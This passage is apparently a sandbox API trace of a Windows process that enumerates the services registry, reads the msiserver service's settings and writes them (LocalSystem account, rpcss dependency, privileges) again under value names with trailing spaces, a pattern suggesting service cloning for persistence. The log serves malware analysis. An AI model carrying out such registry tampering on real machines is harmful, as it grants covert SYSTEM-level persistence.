lpName="KtmRm") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.392] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.393] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.393] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.393] RegCloseKey (hKey=0xc4) returned 0x0 [0253.394] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.394] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.394] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.394] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.395] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.395] RegCloseKey (hKey=0x148) returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.395] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.395] RegCloseKey (hKey=0xc4) returned 0x0 [0253.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.397] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.398] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.398] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.398] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.399] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.400] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.400] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.400] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.401] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.401] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.401] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.402] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 